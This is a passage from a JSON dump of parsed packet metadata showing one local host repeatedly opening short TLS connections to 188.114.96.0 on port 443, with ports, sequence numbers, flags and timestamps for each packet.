\"ttl\": 128, \"ip_id\": 30361, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50107, \"dst_port\": 443, \"tcp_seq\": 4000322054, \"tcp_ack\": 3056081153, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 59, \"timestamp\": 1777400574.577683, \"timestamp_iso\": \"2026-04-28T23:52:54.577683\", \"timestamp_human\": \"2026-04-28 23:52:54.577\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30362, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50111, \"dst_port\": 443, \"tcp_seq\": 1533454273, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 61, \"timestamp\": 1777400574.577854, \"timestamp_iso\": \"2026-04-28T23:52:54.577854\", \"timestamp_human\": \"2026-04-28 23:52:54.577\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30363, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50111, \"dst_port\": 443, \"tcp_seq\": 1533454274, \"tcp_ack\": 177481289, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 62, \"timestamp\": 1777400574.578339, \"timestamp_iso\": \"2026-04-28T23:52:54.578339\", \"timestamp_human\": \"2026-04-28 23:52:54.578\", \"size\": 369, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30364, \"ip_len\": 355, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50111, \"dst_port\": 443, \"tcp_seq\": 1533454274, \"tcp_ack\": 177481289, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 66, \"timestamp\": 1777400574.963151, \"timestamp_iso\": \"2026-04-28T23:52:54.963151\", \"timestamp_human\": \"2026-04-28 23:52:54.963\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30365, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50111, \"dst_port\": 443, \"tcp_seq\": 1533454589, \"tcp_ack\": 177481412, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 68, \"timestamp\": 1777400574.963386, \"timestamp_iso\": \"2026-04-28T23:52:54.963386\", \"timestamp_human\": \"2026-04-28 23:52:54.963\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30366, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50111, \"dst_port\": 443, \"tcp_seq\": 1533454590, \"tcp_ack\": 177481413, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 72, \"timestamp\": 1777400575.509256, \"timestamp_iso\": \"2026-04-28T23:52:55.509256\", \"timestamp_human\": \"2026-04-28 23:52:55.509\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30367, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50112, \"dst_port\": 443, \"tcp_seq\": 2730598044, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 74, \"timestamp\": 1777400575.50945, \"timestamp_iso\": \"2026-04-28T23:52:55.509450\", \"timestamp_human\": \"2026-04-28 23:52:55.509\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30368, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50112, \"dst_port\": 443, \"tcp_seq\": 2730598045, \"tcp_ack\": 2760143356, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 75, \"timestamp\": 1777400575.509826, \"timestamp_iso\": \"2026-04-28T23:52:55.509826\", \"timestamp_human\": \"2026-04-28 23:52:55.509\", \"size\": 369, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30369, \"ip_len\": 355, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50112, \"dst_port\": 443, \"tcp_seq\": 2730598045, \"tcp_ack\": 2760143356, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 79, \"timestamp\": 1777400575.91047, \"timestamp_iso\": \"2026-04-28T23:52:55.910470\", \"timestamp_human\": \"2026-04-28 23:52:55.910\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30370, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50112, \"dst_port\": 443, \"tcp_seq\": 2730598360, \"tcp_ack\": 2760143479, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 81, \"timestamp\": 1777400575.910667, \"timestamp_iso\": \"2026-04-28T23:52:55.910667\", \"timestamp_human\": \"2026-04-28 23:52:55.910\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30371, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50112, \"dst_port\": 443, \"tcp_seq\": 2730598361, \"tcp_ack\": 2760143480, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 85, \"timestamp\": 1777400576.449893, \"timestamp_iso\": \"2026-04-28T23:52:56.449893\", \"timestamp_human\": \"2026-04-28 23:52:56.449\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30372, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50113, \"dst_port\": 443, \"tcp_seq\": 3171960685, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 87, \"timestamp\": 1777400576.450162, \"timestamp_iso\": \"2026-04-28T23:52:56.450162\", \"timestamp_human\": \"2026-04-28 23:52:56.450\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30373, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50113, \"dst_port\": 443, \"tcp_seq\": 3171960686, \"tcp_ack\": 2210981966, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 88, \"timestamp\": 1777400576.450548, \"timestamp_iso\": \"2026-04-28T23:52:56.450548\", \"timestamp_human\": \"2026-04-28 23:52:56.450\", \"size\": 369, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30374, \"ip_len\": 355, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50113, \"dst_port\": 443, \"tcp_seq\": 3171960686, \"tcp_ack\": 2210981966, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 92, \"timestamp\": 1777400577.679861, \"timestamp_iso\": \"2026-04-28T23:52:57.679861\", \"timestamp_human\": \"2026-04-28 23:52:57.679\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30375, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50113, \"dst_port\": 443, \"tcp_seq\": 3171961001, \"tcp_ack\": 2210982089, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 93, \"timestamp\": 1777400577.755073, \"timestamp_iso\": \"2026-04-28T23:52:57.755073\", \"timestamp_human\": \"2026-04-28 23:52:57.755\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30376, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50113, \"dst_port\": 443, \"tcp_seq\": 3171961001, \"tcp_ack\": 2210982089, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 95, \"timestamp\": 1777400577.755274, \"timestamp_iso\": \"2026-04-28T23:52:57.755274\", \"timestamp_human\": \"2026-04-28 23:52:57.755\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30377, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50113, \"dst_port\": 443, \"tcp_seq\": 3171961002, \"tcp_ack\": 2210982090, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 99, \"timestamp\": 1777400578.362289, \"timestamp_iso\": \"2026-04-28T23:52:58.362289\", \"timestamp_human\": \"2026-04-28 23:52:58.362\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30378, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50115, \"dst_port\": 443, \"tcp_seq\": 4248002033, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 101, \"timestamp\": 1777400578.362408, \"timestamp_iso\": \"2026-04-28T23:52:58.362408\", \"timestamp_human\": \"2026-04-28 23:52:58.362\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30379, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50115, \"dst_port\": 443, \"tcp_seq\": 4248002034, \"tcp_ack\": 2233452561, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 102, \"timestamp\": 1777400578.362806, \"timestamp_iso\": \"2026-04-28T23:52:58.362806\", \"timestamp_human\": \"2026-04-28 23:52:58.362\", \"size\": 369, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30380, \"ip_len\": 355, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50115, \"dst_port\": 443, \"tcp_seq\": 4248002034, \"tcp_ack\": 2233452561, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 106, \"timestamp\": 1777400578.830605, \"timestamp_iso\": \"2026-04-28T23:52:58.830605\", \"timestamp_human\": \"2026-04-28 23:52:58.830\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30381, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50115, \"dst_port\": 443, \"tcp_seq\": 4248002349, \"tcp_ack\": 2233452684, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 108, \"timestamp\": 1777400578.830814, \"timestamp_iso\": \"2026-04-28T23:52:58.830814\", \"timestamp_human\": \"2026-04-28 23:52:58.830\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30382, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50115, \"dst_port\": 443, \"tcp_seq\": 4248002350, \"tcp_ack\": 2233452685, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 112, \"timestamp\": 1777400579.502199, \"timestamp_iso\": \"2026-04-28T23:52:59.502199\", \"timestamp_human\": \"2026-04-28 23:52:59.502\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30383, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50117, \"dst_port\": 443, \"tcp_seq\": 1066848450, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 114, \"timestamp\": 1777400579.502339, \"timestamp_iso\": \"2026-04-28T23:52:59.502339\", \"timestamp_human\": \"2026-04-28 23:52:59.502\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30384, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50117, \"dst_port\": 443, \"tcp_seq\": 1066848451, \"tcp_ack\": 2484098480, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 115, \"timestamp\": 1777400579.502822, \"timestamp_iso\": \"2026-04-28T23:52:59.502822\", \"timestamp_human\": \"2026-04-28 23:52:59.502\", \"size\": 369, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30385, \"ip_len\": 355, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50117, \"dst_port\": 443, \"tcp_seq\": 1066848451, \"tcp_ack\": 2484098480, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 119, \"timestamp\": 1777400580.152957, \"timestamp_iso\": \"2026-04-28T23:53:00.152957\", \"timestamp_human\": \"2026-04-28 23:53:00.152\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30386, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50117, \"dst_port\": 443, \"tcp_seq\": 1066848766, \"tcp_ack\": 2484098603, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 121, \"timestamp\": 1777400580.153205, \"timestamp_iso\": \"2026-04-28T23:53:00.153205\", \"timestamp_human\": \"2026-04-28 23:53:00.153\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30387, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50117, \"dst_port\": 443, \"tcp_seq\": 1066848767, \"tcp_ack\": 2484098604, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 125, \"timestamp\": 1777400580.736982, \"timestamp_iso\": \"2026-04-28T23:53:00.736982\", \"timestamp_human\": \"2026-04-28 23:53:00.736\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30388, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50118, \"dst_port\": 443, \"tcp_seq\": 1572412259, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 127, \"timestamp\": 1777400580.737157, \"timestamp_iso\": \"2026-04-28T23:53:00.737157\", \"timestamp_human\": \"2026-04-28 23:53:00.737\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30389, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50118, \"dst_port\": 443, \"tcp_seq\": 1572412260, \"tcp_ack\": 2654325686, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 128, \"timestamp\": 1777400580.737805, \"timestamp_iso\": \"2026-04-28T23:53:00.737805\", \"timestamp_human\": \"2026-04-28 23:53:00.737\", \"size\": 369, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30390, \"ip_len\": 355, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50118, \"dst_port\": 443, \"tcp_seq\": 1572412260, \"tcp_ack\": 2654325686, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 132, \"timestamp\": 1777400581.131759, \"timestamp_iso\": \"2026-04-28T23:53:01.131759\", \"timestamp_human\": \"2026-04-28 23:53:01.131\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30391, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50118, \"dst_port\": 443, \"tcp_seq\": 1572412575, \"tcp_ack\": 2654325809, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 134, \"timestamp\": 1777400581.131973, \"timestamp_iso\": \"2026-04-28T23:53:01.131973\", \"timestamp_human\": \"2026-04-28 23:53:01.131\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30392, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50118, \"dst_port\": 443, \"tcp_seq\": 1572412576, \"tcp_ack\": 2654325810, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 138, \"timestamp\": 1777400581.853166, \"timestamp_iso\": \"2026-04-28T23:53:01.853166\", \"timestamp_human\": \"2026-04-28 23:53:01.853\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30393, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50119, \"dst_port\": 443, \"tcp_seq\": 4216924951, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 140, \"timestamp\": 1777400581.853402, \"timestamp_iso\": \"2026-04-28T23:53:01.853402\", \"timestamp_human\": \"2026-04-28 23:53:01.853\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30394, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50119, \"dst_port\": 443, \"tcp_seq\": 4216924952, \"tcp_ack\": 2541583212, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 141, \"timestamp\": 1777400581.854101, \"timestamp_iso\": \"2026-04-28T23:53:01.854101\", \"timestamp_human\": \"2026-04-28 23:53:01.854\", \"size\": 369, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30395, \"ip_len\": 355, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50119, \"dst_port\": 443, \"tcp_seq\": 4216924952, \"tcp_ack\": 2541583212, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 145, \"timestamp\": 1777400582.263233, \"timestamp_iso\": \"2026-04-28T23:53:02.263233\", \"timestamp_human\": \"2026-04-28 23:53:02.263\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.168.122.168\", \"dst_ip\": \"188.114.96.0\", \"ttl\": 128, \"ip_id\": 30396, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 50119, \"dst_port\": 443, \"tcp_seq\": 4216925267, \"tcp_ack\": 2541583335, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, 